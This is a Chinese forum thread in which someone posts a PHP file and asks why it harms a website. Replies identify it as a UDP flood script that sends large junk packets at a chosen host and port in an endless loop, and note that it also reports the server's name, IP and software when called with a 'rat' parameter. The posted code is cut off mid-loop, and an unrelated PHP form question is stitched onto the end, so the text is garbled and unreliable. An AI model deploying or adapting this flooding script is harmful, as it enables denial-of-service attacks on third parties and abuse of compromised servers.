大家帮看上这个文件为啥对网站有破坏性
大家帮看下这个文件为啥对网站有破坏性?
- PHP code
<!-- Code highlighting produced by Actipro CodeHighlighter (freeware) http://www.CodeHighlighter.com/ --><?php set_time_limit(999999); $host = $_GET['host']; $port = $_GET['port']; $exec_time = $_GET['time']; $Sendlen = 65535; $packets = 0; ignore_user_abort(True); if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){ if (StrLen($_GET['rat'])<>0){ echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; exit; } echo "Warning to: opening"; exit; } for($i=0;$i $max_time){ break; } $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); } } echo "Send Host:$host:$port<br><br>"; echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>"; echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s"; ?>
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对目标服务器的网络 不断的发送垃圾数据包.这是给人埋了地雷?
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不知道楼主想干嘛!
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你这个代码是从哪弄出来的?怎么解决?在服务器上发现的?
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死循环
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ignore_user_abort(True)加上不休息的死循环
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ignore_user_abort(True);这个好!
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干嘛不删除所有程序和表?
这样多直接、
原来消耗php服务器资源就是这样耗啊、
了解了知识、不错、

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php提交表单通过后,弹出的对话框怎样在当前页弹出php提交表单通过后,弹出的对话框怎样在当前页弹出而不是在空白页弹出?想实现这样的效果:而不是空白页弹出:------解决方案--------------------如果你的验证用PHP在后端,那么就用Ajax;仅供参考:HTML code
